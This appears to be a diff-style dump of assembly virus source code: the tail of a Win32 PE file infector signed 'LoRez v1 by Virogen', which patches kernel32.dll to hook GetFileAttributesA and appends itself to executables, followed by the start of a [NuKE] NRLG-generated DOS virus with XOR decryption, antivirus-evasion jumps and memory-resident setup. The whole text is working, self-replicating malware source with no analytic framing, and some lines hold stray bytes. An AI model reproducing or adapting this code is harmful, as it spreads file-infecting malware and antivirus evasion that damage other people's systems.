||||||
|
cmp al,0 ; end of string?
|
||||||
|
jz is_our_API ; it's our API
|
||||||
|
inc ebx
|
||||||
|
jmp compare_API_name
|
||||||
|
|
||||||
|
not_our_API:
|
||||||
|
inc edx ; increment API counter
|
||||||
|
cmp edx,ecx ; last entry of name ptr table?
|
||||||
|
jz goto_host ; uhoh.. we didn't find one
|
||||||
|
; of our APIs.. abort it all
|
||||||
|
add edi,4 ; increment export name ptr idx
|
||||||
|
mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct
|
||||||
|
jmp chk_next_API_name
|
||||||
|
|
||||||
|
is_our_API:
|
||||||
|
|
||||||
|
mov edi,[ebp+ordinaltbl] ; load oridinal table RVA
|
||||||
|
push ecx
|
||||||
|
push edx
|
||||||
|
xchg edx,eax ; edx=API number
|
||||||
|
add eax,eax ; *2 cuz ordinals are words
|
||||||
|
add edi,eax ; add to ordinal table VA
|
||||||
|
mov ax,[edi] ; get ordinal (word)
|
||||||
|
xor edx,edx
|
||||||
|
mov ecx,4
|
||||||
|
mul ecx ; *4 cuz address tbl is dd's
|
||||||
|
mov edi,[ebp+adrtbl] ; load address table VA
|
||||||
|
add edi,eax ; set idx to API
|
||||||
|
mov eax,edi
|
||||||
|
sub eax,[ebp+imagebase] ; get the VA of the entry
|
||||||
|
mov [ebp+originalRVAptr],eax ; save it for kernel infection
|
||||||
|
; notice that our last API
|
||||||
|
; in the array is the one we
|
||||||
|
; hook
|
||||||
|
mov eax,[edi] ; get API RVA
|
||||||
|
mov [ebp+originalRVA],eax ; save it for kernel infection
|
||||||
|
add eax,[ebp+imagebase] ; is relative to image base
|
||||||
|
mov edi,[ebp+curAPIptr] ; idx to storage stucture
|
||||||
|
mov [edi],eax ; save VA of API
|
||||||
|
add edi,4 ; increment index
|
||||||
|
mov [ebp+curAPIptr],edi ; save
|
||||||
|
|
||||||
|
pop edx
|
||||||
|
pop ecx
|
||||||
|
|
||||||
|
mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx
|
||||||
|
mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs
|
||||||
|
add esi,4 ; increment idx API name ptr structure
|
||||||
|
mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr
|
||||||
|
cmp dword ptr [esi],0 ; end of our API structure?
|
||||||
|
jz found_all ; if so then we got 'em all
|
||||||
|
mov edi,[ebp+nameptrtbl] ; reset idx to export name pt
|
||||||
|
xor edx,edx ; reset API counter
|
||||||
|
jmp chk_next_API_name
|
||||||
|
|
||||||
|
;
|
||||||
|
; now we're done finding all of our API VAs
|
||||||
|
;
|
||||||
|
|
||||||
|
found_all:
|
||||||
|
|
||||||
|
mov byte ptr [ebp+offset infkern],1 ; set kernel infection flag
|
||||||
|
|
||||||
|
lea eax,[ebp+fname]
|
||||||
|
push eax ; save for below
|
||||||
|
push 0FFh ; max buffer size
|
||||||
|
push eax ; ptr
|
||||||
|
call [ebp+GetSysDirAPI] ; get system directory
|
||||||
|
|
||||||
|
pop edi
|
||||||
|
add edi,eax ; find end of directory name
|
||||||
|
push edi ; where the filename needz to go
|
||||||
|
|
||||||
|
lea eax,[ebp+copyfname]
|
||||||
|
push eax ; save for below
|
||||||
|
push 0ffh
|
||||||
|
push eax
|
||||||
|
call [ebp+GetWinDirAPI] ; get windoze directory
|
||||||
|
|
||||||
|
pop edi
|
||||||
|
add edi,eax
|
||||||
|
|
||||||
|
lea esi,[ebp+kernfile]
|
||||||
|
call copy_str ; append \kernel32.dll to windoze dir
|
||||||
|
|
||||||
|
pop edi ; restore windoze sys dir
|
||||||
|
lea esi,[ebp+kernfile]
|
||||||
|
call copy_str ; append kernel32.dll to windoze sys dir
|
||||||
|
|
||||||
|
push 0
|
||||||
|
lea eax,[ebp+copyfname] ; from sys dir
|
||||||
|
push eax
|
||||||
|
lea eax,[ebp+fname] ; to win dir
|
||||||
|
push eax
|
||||||
|
call [ebp+CopyFileAPI] ; copy kernel to windows dir
|
||||||
|
|
||||||
|
cmp eax,0 ; if error then we're prob.
|
||||||
|
jz goto_host ; already in memory
|
||||||
|
|
||||||
|
lea eax,[ebp+copyfname] ; infecting windir\kernel32.dll
|
||||||
|
mov [ebp+fnameptr],eax ; set file ptr
|
||||||
|
|
||||||
|
call infect_file ; infect the kernel
|
||||||
|
|
||||||
|
goto_host:
|
||||||
|
|
||||||
|
pop eax ; restore entry VA
|
||||||
|
jmp eax ; jmp to host entry VA
|
||||||
|
|
||||||
|
;-----------------------------------------------
|
||||||
|
; infect file - call with fnameptr set
|
||||||
|
;
|
||||||
|
infect_file:
|
||||||
|
|
||||||
|
mov eax,[ebp+fnameptr]
|
||||||
|
push eax
|
||||||
|
mov ecx,MEM_ID ; let us know its us
|
||||||
|
call [ebp+GetAttribAPI] ; get file attributes
|
||||||
|
mov [ebp+oldattrib],eax
|
||||||
|
|
||||||
|
cmp eax,-1 ; if error then maybe shared
|
||||||
|
jnz not_shared
|
||||||
|
ret ; can't infect it
|
||||||
|
|
||||||
|
not_shared:
|
||||||
|
push 20h ; +A
|
||||||
|
mov eax,[ebp+fnameptr]
|
||||||
|
push eax
|
||||||
|
call [ebp+SetAttribAPI] ; clear 'da attribs
|
||||||
|
|
||||||
|
call open_default_file
|
||||||
|
|
||||||
|
cmp eax,-1
|
||||||
|
jnz open_ok
|
||||||
|
ret
|
||||||
|
|
||||||
|
open_ok:
|
||||||
|
|
||||||
|
lea eax,[ebp+creation] ; creation time
|
||||||
|
push eax
|
||||||
|
lea eax,[ebp+lastaccess] ; last accessed
|
||||||
|
push eax
|
||||||
|
lea eax,[ebp+lastwrite] ; last writen to
|
||||||
|
push eax
|
||||||
|
push [ebp+handle]
|
||||||
|
call [ebp+GetFileTimeAPI] ; grab the file time
|
||||||
|
|
||||||
|
mov ecx,50h ; read MZ EXE header
|
||||||
|
lea edx,[ebp+peheader] ; (if that's what it is)
|
||||||
|
call read_file
|
||||||
|
|
||||||
|
cmp word ptr [ebp+peheader],'ZM' ; is EXE?
|
||||||
|
jnz abort_infect
|
||||||
|
|
||||||
|
mov eax,dword ptr [ebp+peheader+3ch] ; where PE hdr pointer is
|
||||||
|
mov [ebp+ptrpeheader],eax ; save it
|
||||||
|
call setfp
|
||||||
|
|
||||||
|
call setfp_pehdr
|
||||||
|
|
||||||
|
mov ecx,MAX_HDR ; now read the pe header
|
||||||
|
lea edx,[ebp+peheader]
|
||||||
|
call read_file
|
||||||
|
|
||||||
|
cmp [ebp+bytesread],MAX_HDR ; could we read it all?
|
||||||
|
jnz abort_infect ; something funky if no
|
||||||
|
|
||||||
|
cmp word ptr [ebp+peheader],'EP' ; PE?
|
||||||
|
jnz abort_infect
|
||||||
|
cmp dword ptr [ebp+peheader+ID_OFF],0 ; any value here?
|
||||||
|
jnz abort_infect ; if yes, infected
|
||||||
|
cmp byte ptr [ebp+infkern],1 ; infecting kernel?
|
||||||
|
jz skip_base_chk ; if so then its ok to be DLL
|
||||||
|
cmp dword ptr [ebp+imagebase],00400000h ; executables should have this
|
||||||
|
jnz abort_infect ; base, DLLs probably not.
|
||||||
|
skip_base_chk:
|
||||||
|
|
||||||
|
call [ebp+GetTickCountAPI] ; get tick count
|
||||||
|
mov dword ptr [ebp+peheader+ID_OFF],eax ; save as infect flag
|
||||||
|
|
||||||
|
xor esi,esi
|
||||||
|
mov si, word ptr [ebp+NtHeaderSize] ; get header size
|
||||||
|
add esi,18h ; object table is here
|
||||||
|
mov dword ptr [ebp+ObjTbloff],esi
|
||||||
|
|
||||||
|
lea eax,[ebp+peheader] ; is relative to PE hdr RVA
|
||||||
|
add esi,eax ; esi->object table
|
||||||
|
mov [ebp+objtblVA],esi ; save the object table VA
|
||||||
|
xor eax,eax
|
||||||
|
mov ax,[ebp+numObj] ; get number of objects
|
||||||
|
dec eax ; we want last object
|
||||||
|
mov ecx,40 ; each object 40 bytes
|
||||||
|
xor edx,edx
|
||||||
|
mul ecx ; numObj-1*40=last object
|
||||||
|
add esi,eax ; esi->last obj
|
||||||
|
|
||||||
|
lea eax,[ebp+peheader+MAX_HDR-40]
|
||||||
|
cmp esi,eax ; if it's out of our range
|
||||||
|
jg abort_infect ; then about this here shit
|
||||||
|
|
||||||
|
mov eax,[esi+20] ; get last object physical off
|
||||||
|
mov [ebp+lastobjimageoff],eax ; save it
|
||||||
|
|
||||||
|
mov ecx,dword ptr [ebp+filealign] ; get file alignment
|
||||||
|
mov eax,[esi+16] ; get physical size of object
|
||||||
|
mov [ebp+originalpsize],eax ; save it 4 later
|
||||||
|
push eax
|
||||||
|
add eax,vend-vstart ; size of our code
|
||||||
|
call align_fix ; set on file alignment
|
||||||
|
mov dword ptr [esi+16],eax ; save new physical size
|
||||||
|
|
||||||
|
mov ecx,dword ptr [ebp+objalign] ; get object alignment
|
||||||
|
push ecx ; save for below
|
||||||
|
mov eax,[esi+8] ; get object virtual size
|
||||||
|
add eax,VIRTUAL_SIZE ; add our virtual size
|
||||||
|
call align_fix ; set on obj alignment
|
||||||
|
mov dword ptr [esi+8],eax ; save new virtual size
|
||||||
|
|
||||||
|
pop ecx
|
||||||
|
mov eax,VIRTUAL_SIZE ; how big we is
|
||||||
|
add eax,dword ptr [ebp+imagesize] ; add to old image size
|
||||||
|
call align_fix ; set on obj alignment
|
||||||
|
mov dword ptr [ebp+imagesize],eax ; save new imagesize
|
||||||
|
|
||||||
|
mov [esi+36],0E0000040h ; set object flags r/x/x
|
||||||
|
|
||||||
|
pop eax ; restore orginal physical size
|
||||||
|
add eax,[esi+12] ; add last object's RVA
|
||||||
|
; eax now RVA of virus code
|
||||||
|
mov [ebp+virusRVA],eax ; save it
|
||||||
|
cmp byte ptr [ebp+offset infkern],0 ; do our kernel32?
|
||||||
|
jz new_entry ; nope.. regular PE
|
||||||
|
|
||||||
|
;--- our kernel infection starts here ---
|
||||||
|
;
|
||||||
|
; This is really fairly simple. First thing we need to do is find the
|
||||||
|
; image offset of the export table entry for the API we're hooking. We
|
||||||
|
; do this by locating the object that contains the export table. Then,
|
||||||
|
; we subtract the image offset of the object from the virtual offset
|
||||||
|
; of the object. The difference is then subtracted from the previously
|
||||||
|
; saved RVA of the table entry. =image offset
|
||||||
|
;
|
||||||
|
; The different Win32 kernels have different objects which their
|
||||||
|
; export table is located in. The Win95 kernels have it located in
|
||||||
|
; .edata, while win98 puts it in .text, winNT decides to throw the
|
||||||
|
; shit in .rdata. How do we determine which kernel is which, and which
|
||||||
|
; object to calculate the image offset by? Simple, Win95 is the only
|
||||||
|
; kernel that contains .edata, WinNT is the only kernel which contains
|
||||||
|
; .rdata, and Win98 is the only kernel which doesn't contain either.
|
||||||
|
;
|
||||||
|
; Once we extrapolate the image offset of the export table entry for the
|
||||||
|
; RVA of the API we're hooking, we just save the old RVA, and put our
|
||||||
|
; RVA in its place.
|
||||||
|
;
|
||||||
|
;
|
||||||
|
mov esi,[ebp+objtblVA] ; load object table VA
|
||||||
|
xor ecx,ecx
|
||||||
|
mov cx,[ebp+numObj] ; get number of objects
|
||||||
|
dec ecx
|
||||||
|
xor edx,edx ; we'll store our virtual-
|
||||||
|
; physical difference here
|
||||||
|
calc_fo_loop:
|
||||||
|
cmp dword ptr [esi],'ade.' ; is it .edata? for win95
|
||||||
|
jz end_calc_fo_loop ; if so we can reference it
|
||||||
|
cmp dword ptr [esi],'xet.' ; is it .text? for win98
|
||||||
|
jnz not_text
|
||||||
|
mov [ebp+objtext],esi ; save table entry offset
|
||||||
|
not_text:
|
||||||
|
cmp dword ptr [esi],'adr.' ; is it .rdata? for winNT
|
||||||
|
jz end_calc_fo_loop ; if rdata exists, then
|
||||||
|
; our export shit is there
|
||||||
|
add esi,40 ; to next object we go
|
||||||
|
dec ecx ; decrement # of objects
|
||||||
|
jnz calc_fo_loop ; if not been thru all loop
|
||||||
|
mov esi,[ebp+objtext] ; if .edata or .rdata, then
|
||||||
|
end_calc_fo_loop: ; it must be .text
|
||||||
|
mov edx,[esi+12] ; get the object virtual off
|
||||||
|
sub edx,[esi+20] ; subtract physical offset
|
||||||
|
mov eax,[ebp+originalRVAptr] ; get table entry rva
|
||||||
|
sub eax,edx ; subract difference
|
||||||
|
|
||||||
|
mov [ebp+FileOff],eax ; save table entry image off
|
||||||
|
call setfp ; set file pointer to it
|
||||||
|
|
||||||
|
mov ecx,4 ; read RVA
|
||||||
|
lea edx,[ebp+chkRVA]
|
||||||
|
call read_file ; and check it to make sure
|
||||||
|
; we've got it right
|
||||||
|
mov eax,[ebp+chkRVA]
|
||||||
|
cmp eax,[ebp+originalRVA] ; is it the right RVA?
|
||||||
|
jnz abort_infect ; if not abort infection
|
||||||
|
|
||||||
|
mov eax,[ebp+FileOff] ; get image offset
|
||||||
|
call setfp ; set file ptr to table entry
|
||||||
|
|
||||||
|
mov eax,[ebp+virusRVA] ; get virus RVA
|
||||||
|
add eax,(offset hook-offset vstart) ; find our API hook RVA
|
||||||
|
|
||||||
|
lea esi,[ebp+hookRVA] ; to be written
|
||||||
|
mov [esi],eax ; save hook RVA
|
||||||
|
mov ecx,4 ; dd
|
||||||
|
call write_code ; write the new hook RVA
|
||||||
|
|
||||||
|
mov eax,[ebp+originalRVA] ; get orginal API RVA
|
||||||
|
add eax,[ebp+imagebase] ; relative to image base
|
||||||
|
mov [ebp+jmpback],eax ; save it
|
||||||
|
|
||||||
|
jmp calc_reloc ; skip entry point change..
|
||||||
|
|
||||||
|
;-------------------------------------------------------
|
||||||
|
; our PE EXE infection
|
||||||
|
;
|
||||||
|
new_entry:
|
||||||
|
mov eax,[ebp+virusRVA] ; eax=virus RVA
|
||||||
|
mov ebx,dword ptr [ebp+entrypointRVA] ; save old entry point
|
||||||
|
mov dword ptr [ebp+entrypointRVA],eax ; put our RVA as entry
|
||||||
|
|
||||||
|
calc_reloc:
|
||||||
|
add eax,(offset geteip-offset vstart) ; fix for our reloc call
|
||||||
|
sub eax,ebx ; difference of entry pts
|
||||||
|
mov dword ptr [ebp+offset host_addr],eax ; virusRVA-entryRVA=diff
|
||||||
|
; virusVA-diff=entryVA
|
||||||
|
|
||||||
|
call setfp_pehdr ; back to PE header
|
||||||
|
|
||||||
|
lea esi,[ebp+peheader] ; write the new PE header
|
||||||
|
mov ecx,MAX_HDR
|
||||||
|
call write_code ; to the host
|
||||||
|
|
||||||
|
mov eax,[ebp+originalpsize] ; restore original physical size
|
||||||
|
add eax,[ebp+lastobjimageoff] ; add object physical offset
|
||||||
|
call setfp ; set ptr to end of object
|
||||||
|
|
||||||
|
lea esi,[ebp+vstart]
|
||||||
|
mov ecx,VIRUS_SIZE
|
||||||
|
call write_code ; write the virus code to the host
|
||||||
|
|
||||||
|
abort_infect:
|
||||||
|
|
||||||
|
lea eax,[ebp+creation] ; creation time
|
||||||
|
push eax
|
||||||
|
lea eax,[ebp+lastaccess] ; last accessed
|
||||||
|
push eax
|
||||||
|
lea eax,[ebp+lastwrite] ; last writen to
|
||||||
|
push eax
|
||||||
|
push [ebp+handle]
|
||||||
|
call [ebp+SetFileTimeAPI] ; restore orginal file time
|
||||||
|
|
||||||
|
call close_file ; we're done
|
||||||
|
|
||||||
|
mov eax,[ebp+oldattrib] ; get original attribs
|
||||||
|
push eax
|
||||||
|
mov eax,[ebp+fnameptr]
|
||||||
|
push eax
|
||||||
|
call [ebp+SetAttribAPI] ; restore the original attributes
|
||||||
|
ret
|
||||||
|
|
||||||
|
;---------------------------------------------------------------
|
||||||
|
; close handle at [handle]
|
||||||
|
;
|
||||||
|
close_file:
|
||||||
|
push dword ptr [ebp+offset handle]
|
||||||
|
call [ebp+CloseFileAPI]
|
||||||
|
ret
|
||||||
|
|
||||||
|
;---------------------------------------------------------------
|
||||||
|
; opens file with ptr to filename at [fnameptr]
|
||||||
|
;
|
||||||
|
open_default_file:
|
||||||
|
mov eax,[ebp+fnameptr]
|
||||||
|
;---------------------------------------------------------------
|
||||||
|
; opens file, pass eax->filename
|
||||||
|
;
|
||||||
|
open_file:
|
||||||
|
push 0
|
||||||
|
push 20h ; r+w
|
||||||
|
push 3 ; 3=open existing file
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push 0C0000000h ; open for r+w
|
||||||
|
push eax
|
||||||
|
call [ebp+CreateFileAPI]
|
||||||
|
mov [ebp+handle],eax ; save handle
|
||||||
|
ret
|
||||||
|
|
||||||
|
;---------------------------------------------------------------
|
||||||
|
; read handle
|
||||||
|
; pass ecx=bytes to read, edx=offset for bytes read
|
||||||
|
;
|
||||||
|
read_file:
|
||||||
|
push 0
|
||||||
|
lea eax,[ebp+bytesread]
|
||||||
|
push eax
|
||||||
|
push ecx
|
||||||
|
push edx
|
||||||
|
push [ebp+handle]
|
||||||
|
call [ebp+ReadFileAPI]
|
||||||
|
ret
|
||||||
|
|
||||||
|
;--------------------------------------------------------------
|
||||||
|
; sets eax on alignment of ecx
|
||||||
|
;
|
||||||
|
align_fix:
|
||||||
|
xor edx,edx
|
||||||
|
div ecx ; /alignment
|
||||||
|
inc eax ; next alignment
|
||||||
|
mul ecx ; *alignment
|
||||||
|
ret
|
||||||
|
|
||||||
|
;--------------------------------------------------------------
|
||||||
|
; set file pointer to PE header
|
||||||
|
setfp_pehdr:
|
||||||
|
mov eax,[ebp+ptrpeheader]
|
||||||
|
|
||||||
|
;--------------------------------------------------------------
|
||||||
|
; set file ptr of [handle]
|
||||||
|
; pass eax=offset from beginning
|
||||||
|
;
|
||||||
|
setfp:
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push eax
|
||||||
|
push [ebp+handle]
|
||||||
|
call [ebp+SetFilePtrAPI]
|
||||||
|
ret
|
||||||
|
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
; write to [handle]
|
||||||
|
; pass ecx=bytes to write, esi->source
|
||||||
|
;
|
||||||
|
write_code:
|
||||||
|
push 0
|
||||||
|
lea eax,[ebp+bytesread]
|
||||||
|
push eax
|
||||||
|
push ecx
|
||||||
|
push esi
|
||||||
|
push [ebp+handle]
|
||||||
|
call [ebp+WriteFileAPI]
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;-------------------------------------------------------------
|
||||||
|
; copy string
|
||||||
|
; pass edi->destination esi->source
|
||||||
|
;
|
||||||
|
|
||||||
|
copy_str:
|
||||||
|
mov ecx,0FFh ; no bigger than 256
|
||||||
|
copystr:
|
||||||
|
lodsb
|
||||||
|
stosb
|
||||||
|
cmp al,0
|
||||||
|
jz copystrdone
|
||||||
|
loop copystr
|
||||||
|
copystrdone:
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;------------------------------ hooked ------------------------
|
||||||
|
; this is our API hook for GetAttrib
|
||||||
|
;
|
||||||
|
hook:
|
||||||
|
|
||||||
|
pushfd
|
||||||
|
push eax ; save regs
|
||||||
|
push ebx
|
||||||
|
push ecx
|
||||||
|
push edx
|
||||||
|
push edi
|
||||||
|
push esi
|
||||||
|
push ebp
|
||||||
|
|
||||||
|
call reloc ; find relative index
|
||||||
|
reloc:
|
||||||
|
pop ebp ; eip
|
||||||
|
sub ebp, offset reloc ; get relative address
|
||||||
|
|
||||||
|
lea eax,[ebp+jmpback] ; get jump back ptr
|
||||||
|
mov [ebp+jmpbackptr],eax ; save jump back ptr
|
||||||
|
|
||||||
|
cmp ecx,MEM_ID ; is it us?
|
||||||
|
jz abort_mem ; if so then abort
|
||||||
|
|
||||||
|
mov byte ptr [ebp+infkern],0 ; we're infecting normal
|
||||||
|
|
||||||
|
mov eax,[esp+24h] ; ptr to filename is here
|
||||||
|
mov [ebp+fnameptr],eax ; save ptr to filename
|
||||||
|
call infect_file ; replicate ourselves
|
||||||
|
abort_mem:
|
||||||
|
pop ebp ; restore regs
|
||||||
|
pop esi
|
||||||
|
pop edi
|
||||||
|
pop edx
|
||||||
|
pop ecx
|
||||||
|
pop ebx
|
||||||
|
pop eax
|
||||||
|
popfd
|
||||||
|
|
||||||
|
db 0FFh,25h ; jmp [ ]
|
||||||
|
jmpbackptr dd offset jmpback
|
||||||
|
|
||||||
|
jmpback dd 0 ; original API VA
|
||||||
|
|
||||||
|
db 'þ [LoRez] v1 by Virogen [NoP] þ' ; it's i said the fly
|
||||||
|
|
||||||
|
kernfile db '\KERNEL32.dll',0 ; our kernel filename
|
||||||
|
kernfile_e:
|
||||||
|
|
||||||
|
APIs: ; structure of ptrs to our API names
|
||||||
|
dd offset GetTicks
|
||||||
|
dd offset GetWinDir
|
||||||
|
dd offset SetAttrib
|
||||||
|
dd offset CreateFile
|
||||||
|
dd offset SetFilePtr
|
||||||
|
dd offset ReadFile
|
||||||
|
dd offset WriteFile
|
||||||
|
dd offset CloseFile
|
||||||
|
dd offset GetSysDir
|
||||||
|
dd offset CopyFile
|
||||||
|
dd offset GetFileTime
|
||||||
|
dd offset SetFileTime
|
||||||
|
dd offset ExitProc
|
||||||
|
dd offset GetAttrib ; the last entry is our hooked API
|
||||||
|
dd 0
|
||||||
|
; our API names
|
||||||
|
GetTicks db 'GetTickCount',0
|
||||||
|
GetWinDir db 'GetWindowsDirectoryA',0
|
||||||
|
SetAttrib db 'SetFileAttributesA',0
|
||||||
|
CreateFile db 'CreateFileA',0
|
||||||
|
SetFilePtr db 'SetFilePointer',0
|
||||||
|
ReadFile db 'ReadFile',0
|
||||||
|
WriteFile db 'WriteFile',0
|
||||||
|
CloseFile db 'CloseHandle',0
|
||||||
|
GetSysDir db 'GetSystemDirectoryA',0
|
||||||
|
CopyFile db 'CopyFileA',0
|
||||||
|
GetFileTime db 'GetFileTime',0
|
||||||
|
SetFileTime db 'SetFileTime',0
|
||||||
|
ExitProc db 'ExitProcess',0 ; only used in original host
|
||||||
|
GetAttrib db 'GetFileAttributesA',0
|
||||||
|
|
||||||
|
API_Struct: ; structure for API VAs
|
||||||
|
GetTickCountAPI dd 0
|
||||||
|
GetWinDirAPI dd 0
|
||||||
|
SetAttribAPI dd 0
|
||||||
|
CreateFileAPI dd 0
|
||||||
|
SetFilePtrAPI dd 0
|
||||||
|
ReadFileAPI dd 0
|
||||||
|
WriteFileAPI dd 0
|
||||||
|
CloseFileAPI dd 0
|
||||||
|
GetSysDirAPI dd 0
|
||||||
|
CopyFileAPI dd 0
|
||||||
|
GetFileTimeAPI dd 0
|
||||||
|
SetFileTimeAPI dd 0
|
||||||
|
ExitProcessAPI dd 0
|
||||||
|
GetAttribAPI dd 0
|
||||||
|
FileOff dd 0
|
||||||
|
APIStructEnd:
|
||||||
|
|
||||||
|
; data below is not written to disk, but is allocated by object
|
||||||
|
vend:
|
||||||
|
|
||||||
|
handle dd 0 ; file handle
|
||||||
|
infkern db 0 ; kernel infection flag
|
||||||
|
ptrpeheader dd 0 ; offset of PE header
|
||||||
|
ObjTbloff dd 0 ; offset of object table
|
||||||
|
objtblVA dd 0 ; VA of object table
|
||||||
|
bytesread dd 0 ; return from fread/fwrite
|
||||||
|
|
||||||
|
nameptrtbl dd 0
|
||||||
|
adrtbl dd 0
|
||||||
|
ourAPIptr dd 0
|
||||||
|
curAPIptr dd 0
|
||||||
|
ordinaltbl dd 0
|
||||||
|
originalRVAptr dd 0 ; RVA ptr to our hooked API RVA
|
||||||
|
originalRVA dd 0 ; orginal RVA of our hooked API
|
||||||
|
chkRVA dd 0
|
||||||
|
originalpsize dd 0
|
||||||
|
hookRVA dd 0
|
||||||
|
virusRVA dd 0
|
||||||
|
hdrread dd 0
|
||||||
|
lastobjimageoff dd 0
|
||||||
|
objtext dd 0
|
||||||
|
creation dd 0,0 ; our file time structures
|
||||||
|
lastaccess dd 0,0
|
||||||
|
lastwrite dd 0,0
|
||||||
|
|
||||||
|
oldattrib dd 0 ; stored file attribs
|
||||||
|
fnameptr dd 0 ; ptr to file name we're infecting
|
||||||
|
fname db 64 dup (0) ; storage for source kernel32.dll
|
||||||
|
copyfname db 64 dup (0) ; storage for dest. kernel32.dll
|
||||||
|
|
||||||
|
peheader: ; PE header format
|
||||||
|
signature dd 0
|
||||||
|
cputype dw 0
|
||||||
|
numObj dw 0
|
||||||
|
dd 0,0,0
|
||||||
|
NtHeaderSize dw 0
|
||||||
|
Flags dw 0
|
||||||
|
dd 0,0,0,0
|
||||||
|
entrypointRVA dd 0
|
||||||
|
dd 0,0
|
||||||
|
imagebase dd 0
|
||||||
|
objalign dd 0
|
||||||
|
filealign dd 0
|
||||||
|
dd 0,0,0,0
|
||||||
|
imagesize dd 0
|
||||||
|
headersize dd 0
|
||||||
|
|
||||||
|
db MAX_HDR*2 dup (0)
|
||||||
|
buffer_end:
|
||||||
|
ends
|
||||||
|
end vstart
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,430 @@
|
|||||||
|
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||||
|
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
|
||||||
|
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
|
||||||
|
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
|
||||||
|
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
|
||||||
|
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
|
||||||
|
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||||
|
|
||||||
|
.286
|
||||||
|
code segment
|
||||||
|
assume cs:code,ds:code
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
start: CALL NEXT
|
||||||
|
|
||||||
|
NEXT:
|
||||||
|
mov di,sp ;take the stack pointer location
|
||||||
|
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
|
||||||
|
sub bp,offset next ;subtract the large code off this code
|
||||||
|
;
|
||||||
|
;*******************************************************************
|
||||||
|
; #1 DECRYPT ROUTINE
|
||||||
|
;*******************************************************************
|
||||||
|
|
||||||
|
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
|
||||||
|
je crypt2 ;yes! not decrypt
|
||||||
|
;----------------------------------------------------------
|
||||||
|
mov cx,offset fin ;cx = large of virus
|
||||||
|
lea di,[offset crypt]+ bp ;di = first byte to decrypt
|
||||||
|
mov dx,1 ;dx = value for decrypt
|
||||||
|
;----------------------------------------------------------
|
||||||
|
deci: ;deci = fuck label!
|
||||||
|
;----------------------------------------------------------
|
||||||
|
|
||||||
|
ÿinc di
|
||||||
|
inc di
|
||||||
|
;----------------------------------------------------------
|
||||||
|
jmp bye ;######## BYE BYE F-PROT ! ##########
|
||||||
|
mov ah,4ch
|
||||||
|
int 21h
|
||||||
|
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
|
||||||
|
;-----------------------------------------------------------
|
||||||
|
mov ah,0bh ;######### BYE BYE TBAV ! ##########
|
||||||
|
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
|
||||||
|
;----------------------------------------------------------
|
||||||
|
loop deci ;repeat please!
|
||||||
|
;
|
||||||
|
;*****************************************************************
|
||||||
|
; #2 DECRYPT ROUTINE
|
||||||
|
;*****************************************************************
|
||||||
|
;
|
||||||
|
crypt: ;fuck label!
|
||||||
|
;
|
||||||
|
mov cx,offset fin ;cx = large of virus
|
||||||
|
lea di,[offset crypt2] + bp ;di = first byte to decrypt
|
||||||
|
;---------------------------------------------------------------
|
||||||
|
deci2: ;
|
||||||
|
xor byte ptr cs:[di],1 ;decrytion rutine
|
||||||
|
inc di ;very simple...
|
||||||
|
loop deci2 ;
|
||||||
|
;---------------------------------------------------------------
|
||||||
|
crypt2: ;fuck label!
|
||||||
|
;
|
||||||
|
MOV AX,0CACAH ;call to my resident interrup mask
|
||||||
|
INT 21H ;for chek "I'm is residet?"
|
||||||
|
CMP Bh,0CAH ;is equal to CACA?
|
||||||
|
JE PUM2 ;yes! jump to runnig program
|
||||||
|
call action
|
||||||
|
;*****************************************************************
|
||||||
|
; NRLG FUNCTIONS (SELECTABLE)
|
||||||
|
;*****************************************************************
|
||||||
|
|
||||||
|
ÿ;****************************************************************
|
||||||
|
; PROCESS TO REMAIN RESIDENT
|
||||||
|
;****************************************************************
|
||||||
|
|
||||||
|
mov ax,3521h
|
||||||
|
int 21h ;store the int 21 vectors
|
||||||
|
mov word ptr [bp+int21],bx ;in cs:int21
|
||||||
|
mov word ptr [bp+int21+2],es ;
|
||||||
|
;---------------------------------------------------------------
|
||||||
|
push cs ;
|
||||||
|
pop ax ;ax = my actual segment
|
||||||
|
dec ax ;dec my segment for look my MCB
|
||||||
|
mov es,ax ;
|
||||||
|
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
|
||||||
|
;---------------------------------------------------------------
|
||||||
|
push cs ;
|
||||||
|
pop es ;
|
||||||
|
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
|
||||||
|
sub bx,17 + offset fin ;and 100H for the PSP total
|
||||||
|
mov ah,4ah ;used memory
|
||||||
|
int 21h ;put the new value to MCB
|
||||||
|
;---------------------------------------------------------------
|
||||||
|
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
|
||||||
|
mov ah,48h ;
|
||||||
|
int 21h ;request the memory to fuck DOS!
|
||||||
|
;---------------------------------------------------------------
|
||||||
|
dec ax ;ax=new segment
|
||||||
|
mov es,ax ;ax-1= new segment MCB
|
||||||
|
mov byte ptr es:[1],8 ;put '8' in the segment
|
||||||
|
;--------------------------------------------------------------
|
